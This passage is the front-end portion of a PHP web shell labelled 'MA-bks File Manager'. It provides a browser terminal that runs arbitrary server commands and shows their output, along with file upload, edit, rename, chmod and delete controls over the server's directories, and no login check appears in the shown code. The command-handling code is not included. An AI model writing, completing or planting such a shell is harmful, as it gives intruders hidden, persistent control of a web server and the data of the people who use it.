Root</a> / <?php $path = str_replace('','/',PATH); $parts = explode('/',$path); $build = ''; foreach ($parts as $part) { if ($part === '') continue; $build .= '/' . $part; echo '<a href="?p=' . urlencode(encodePath($build)) . '">' . htmlspecialchars($part) . '</a> / '; } ?> </div> <?php if ($editMode): ?> <!-- EDIT MODE --> <div style="background: #fff; padding: 20px; border-radius: 8px; box-shadow: 0 2px 10px rgba(0,0,0,0.1);"> <h3>?? Editing: <?= htmlspecialchars($editFile) ?></h3> <form method="post"> <input type="hidden" name="edit_file" value="<?= htmlspecialchars($editFile) ?>"> <textarea name="content" rows="20"><?= $editContent ?></textarea><br><br> <div style="display: flex; gap: 10px;"> <button type="submit" class="edit-btn">?? Save</button> <a href="?p=<?= urlencode(encodePath(PATH)) ?>"><button type="button">? Cancel</button></a> </div> </form> </div> <?php else: ?> <!-- NORMAL MODE --> <!-- TERMINAL SECTION --> <div style="margin-bottom: 20px;"> <div class="terminal-header"> <span>?? Terminal@MA-bks <strong><?= htmlspecialchars($terminal_cwd) ?></strong></span> </div> <?php if ($terminal_output): ?> <div class="terminal-output"><?= htmlspecialchars($terminal_output) ?></div> <?php endif; ?> <form method="post" class="terminal-form"> <input type="text" name="terminal-text" placeholder="Enter command (e.g., ls, pwd, whoami)" autocomplete="off"> <input type="submit" name="terminal" value="? Execute"> </form> </div> <!-- FILE MANAGER ACTIONS --> <div class="actions-bar"> <form method="post"> <input type="text" name="newfolder" placeholder="Folder name" required> <button type="submit">?? Create Folder</button> </form> <form method="post"> <input type="text" name="newfile" placeholder="File name" required> <button type="submit">?? Create File</button> </form> <form method="post" enctype="multipart/form-data"> <input type="file" name="files[]" multiple> <button type="submit">? Upload</button> </form> </div> <!-- FILE LIST --> <table> <thead> <tr> <th>Name</th> <th>Size</th> <th>Permissions</th> <th>Actions</th> </tr> </thead> <tbody> <?php foreach ($items as $f): if ($f === '.' || $f === '..') continue; $full = PATH . '/' . $f; $isDir = is_dir($full); $perm = substr(sprintf('%o', fileperms($full)), -4); ?> <tr> <td> <span class="file-icon"><?= $isDir ? '??' : '??' ?></span> <?php if ($isDir): ?> <a href="?p=<?= urlencode(encodePath($full)) ?>"><?= htmlspecialchars($f) ?></a> <?php else: ?> <a href="<?= htmlspecialchars($BASE_URL . '/' . $f) ?>" target="_blank" title="Open file"><?= htmlspecialchars($f) ?></a> <?php endif; ?> </td> <td> <?php if (!$isDir): ?> <?= number_format(filesize($full)) ?> bytes <?php else: ?> <em>Directory</em> <?php endif; ?> </td> <td> <form method="post" class="chmod-form"> <input type="hidden" name="chmod_file" value="<?= htmlspecialchars($f) ?>"> <input type="text" name="chmod" value="<?= $perm ?>" size="4" pattern="[0-7]{4}" title="4-digit octal permission (e.g., 0755)"> <button type="submit" style="padding: 5px 8px;">Chmod</button> </form> </td> <td> <?php if (!$isDir): ?> <a href="?p=<?= urlencode(encodePath(PATH)) ?>&edit=<?= urlencode($f) ?>"> <button class="edit-btn" style="padding: 5px 8px;">?? Edit</button> </a> <?php endif; ?> <form method="post" class="rename-form"> <input type="hidden" name="old" value="<?= htmlspecialchars($f) ?>"> <input type="text" name="new" placeholder="New name" style="width: 120px; padding: 5px;"> <button type="submit" style="padding: 5px 8px;">?? Rename</button> </form> <form method="post" style="display: inline;"> <input type="hidden" name="delete" value="<?= htmlspecialchars($f) ?>"> <button type="submit" class="delete-btn" style="padding: 5px 8px;" onclick="return confirm('Are you sure you want to delete <?= htmlspecialchars(addslashes($f)) ?>?')">??? Delete</button> </form> </td> </tr> <?php endforeach; ?> </tbody> </table> <?php endif; ?> <div style="text-align: center; margin-top: 30px; padding-top: 20px; border-top: 1px solid #eee; color: #666; font-size: 12px;"> MA-bks File Manager v1.0 | Terminal Auto-Sync Enabled | Current Path: <?= htmlspecialchars(PATH) ?> </div> </div> <script> // Auto-focus on terminal input document.querySelector('input[name="terminal-text"]')?.focus(); // Auto-focus on rename input when clicked document.querySelectorAll('.rename-form input[name="new"]').forEach(input => { input.addEventListener('click', function() { this.focus(); this.select(); }); }); // Confirm before deleting document.querySelectorAll('.delete-btn').forEach(button => { button.addEventListener('click', function(e) { if (!confirm('Are you sure you want to delete this item?')) { e.preventDefault(); } }); }); </script> </body> </html>